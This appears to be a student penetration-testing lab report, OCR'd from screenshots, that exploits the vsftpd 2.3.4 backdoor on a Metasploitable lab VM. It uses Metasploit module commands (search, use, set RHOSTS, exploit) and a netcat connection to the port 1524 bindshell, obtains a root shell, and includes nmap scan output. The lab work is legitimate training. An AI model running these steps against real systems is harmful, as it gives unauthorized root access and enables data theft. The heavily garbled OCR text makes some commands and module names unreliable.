Experiment 12

Aim:
To exlploit a vulnerable system and gain access using the Metasploit framework.

Theory

Exploitation is a phase of penetration testing where vulnerabilities in a system are used to gain
access or control.

The Metasploit Framework is a powerful open-source tool used for:

e Identifying vulnerabilities
e Developing and executing exploits
e (aining access to target systems

Key Components:

e Exploit — Code that targets vulnerability
e Payload — Code executed after exploitation
e Module — Prebuilt scripts for attacks

Common Payload:
o Meterpreter — Advanced payload providing remote control

Procedure

Step 1: Start Metasploit

e Open terminal in Kali Linux

e Lau
nch:

Msfconsole



BeomP -

Manish@kali: ~
Session Actions Edit View Help
ploit tip: Enable HTTP st al e - with set HttpTrace

exploits - 1,319 au
t - 49 encoders -

Step 2: Search for Exploit
e Search for available exploits:

search vsftpd

1~ = |

Session Actions Edit View Help

— -[~/Desktop]
= ap -s .168.1.8
Starting Nmap 7.98 ( https://nmap.org ) at 2 G +0530
Nmap scan report for 192.168.1.8
Host is up (0.000 latenc
Not shown: 977 closed tcp ports (reset)
PORT SERVICE VERSION
21/tcp open ftp ftpd 2.3.4
22/tcp open ssh OpenSSH &4.7pl Debian 8ubuntul (protocol 2.0)
3/tcp open telnet Linux telnetd

open smtp Post

open domain ISC BIND 9.4.2

open http Apache httpd ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - & (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open netkit-rsh rexecd
513/tcp open
514/tcp open
1099/tcp open ja rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell

open nfs 2-4 (RPC #100003)

open ftp ProFTPD 1.3.1

open mysql MySQL 5.0.51a-3ubuntu5

open postgresql PostgreSQL DB 8 B = 8.3.7

open vnc v (protocol 3

open ccess denied)

open UnrealIRCd

open aj Apache Jserv (Protocol vi.

open Apache Tomca

ce Info: Hosts: metasploitable.l

Service detection performed. Please report any incorrect results at https:
Nmap done: 1 IP address (1 host up) scanned in 12.38 seconds

[~/Desktop]




Host is up (0.00863s latency).
Not shown: 977 closed tcp ports (reset)

PORT STATE SERVICE VERSION _

21/tcp  open ftp vsfipd 2.3. 4f

2 open ssh OpenSSH &4.7pl Debian Subuntul (pr
open telnet Linux telnetd
open smtp Postfix smtpd

Step 3: Select Exploit
e Choose exploit module:

use exploit/unix/ftp/vsftpd 234 backdoor

O 4w a4 ©192 | G
Manish@kali: ~

Session Actions Edit View Help

https://metasploit.com

payloads
vasion

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

Imsf > show exploits

loi

Disclosure Date Rank Description

/local/ibstat_path 2013-09-24 t ibstat $PATH Privi

lation

1 exploit/aix/local/invscout_rpm_priv_esc 2023-04-24 excelle - invscout RPM Privilege Esca
lation

2 exploi ix/local/xorg_x11_server 2018-10-25 Yes Xorg X11 Server Local Privi
lege Escalation

3 expl /aix/rpc_cmsd_opcode21 2009-10-07 AIX Calendar Manager Servic
e Daemon (rpc sd) Opcode 21 Bu Overflow

4 exploit/aix/rpc_ttdbserverd_realpath 2009-06-17 0 ToolTalk rpc.ttdbserverd _t
t_internal_realpath Buffer Overflow (AIX) Jf

5 expl /android/adb/adb_server_exec 2016-01-01 - £ 3 Android ADB Debug Server Re
mote Payload Execution
6 exploit/android/browser/samsung_knox_smdm_url 2014-11-12 e lent Samsung Galaxy KNOX Android
Browser RCE

exploit/android/browser/stagefright_mp4_tx3g_64bit 20 3 normal Android Stagefright MP4 tx3

/android/browser/webview_addjavascriptinterface 2 € - droid Browser and WebView

addJavascriptInterface Code Execution

9 expl ndroid/fileformat/adobe_reader_pdf_js_interface 2014-04-13 Adobe Reader for Android ad

vascriptInterface Exploit

10 exploit/android/local/binder_uaf 2019-09-26 1lent Android Binder Use-After-Fr
ee Exploit

11 exploit/android, cal/futex_requeue 2014-05-03 - - Android ‘Tow oot" Futex R
equeue Kernel Exploit

12 expl ndroid/local/janus 2017-07-31 LEGTERE Y Android Janus APK Signature
I ERES




msf > searchsploit vsftpd 2.3.4
exec: searchsploit vsftpd 2.3.4

Exploit Title | Path

- Backdoor Command Execution | unix/remote/49757.py
- Backdoor Command Execution (Metasploit) | unix/remote/17491.rb

Shellcodes: No Results
msf > search vsftpd 2.3.4

Matching Modules

Disclosure Date Rank Check Description

0 exploit/unix/ftp/MSFEPd 234 _backdoor 2011-07-03 lent No VSFTPD v293%% Backdoor Command Execution

Interact with a module by name or index. For example

msf > i

Step 4: Set Target Parameters

e Set target [P address:
000 O Il 4 Meta2

To access official Ubuntu documentation, please visit:

http:/-help.ubuntu.cons

No mail.

nsfadmin@metasploitable:™S ifconfig

etho Link encap:Ethernet HWaddr 46:8d:ac:1c:6f :5e
inet addr:192.168.1.8 Bcast:192.168.1.255 Mask:255.255.255.0
inetb addr: fedO::448d:acff :felc:6f5er64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:111 errors:0 dropped:0 overruns:0 frame:@
T¥ packets:102 errors:0 dropped:0 overruns:0 carrier:
collisions:0 txqueuelen:1000
RX bytes:10352 (10.1 KB) TX bytes:13504 (13.1 KB)
Baze address:0xc000 Memory:febcO0O0-febe®dOO

Link encap:Local Loopback

inet addr:127.0.0.1 HMask:255.0.0.0

inett addr: ::1-128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:126 errors:0 dropped:0 overruns:0 frame:0
T¥ packets:126 errors:0 dropped:Q overruns:0 carrier:
collisions:0 txqueuelen:@

RX bytes:35929 (35.0 KB) TX bytes:35929 (35.0 KB)

wsfadmin@netasploitable:™5 _
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Manish@kali:

Session Actions Edit View Help

Module:
Platform: Unix, Linux

unknown-

Modul

Basic option:
Name Current ing Required Description
RHOSTS The ta h ee tasploit.c
RPORT 21 The

a ma oor that w

ckdoo duced into

had-backdoored. html

set RHOSTS <target_ip>

root@metasploitable:
bin

boot

cdrom

dev

etc

home
initrd
initrd.img
lib
lost+found
media

mnt

nohup.out
opt

proc

root

vmlinuz
rootametasploitable:/# [




Step 5: Run Exploit
exploit

Step 6: Gain Access

If successful, a session is opened
Use commands to interact with system:

whoami
Is

Step 7: Post Exploitation

e Explore system:
o View files
o Check system info
o Extract data

Result

The vulnerable system was successfully exploited, and access was obtained using the Metasploit
Framework.



BY USING NETCAT:

Manish@kali: ~

Session Actions Edit View Help

— 192.168.1.8
Starting Nmap 7.98 ( https://nmap.org ) at -04-06 20:00 +0530
Nmap scan report for 192.168.1.8
Host is up (0.00054s latency).
Not shown: 977 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
open telnet Linux telnetd
open smip Postfix smtpd
open domain ISC BIND 9.4.2
open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
open rpcbind 2 (RPC #100000)
open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
open exec netkit-rsh rexecd
open login
open tcpwrapped
/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 -
5900/tcp open wvnc VNC (protocol 3.
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote ISP engine 1.1 -
Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Uni inux CPE: o:linux:linuxjkernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 12.48 seconds

— etcat 168.1.8 15
rootgmetasploitable: /# 1s
bin

boot

cdrom

dev

etc

home

initrd

initrd.img

lib

lost+found

media

mnt

nohup.out

opt

proc

root

sbin

STV

Sys

test

tmp

usr

var

vmlinuz
rootametasploitable:/# |




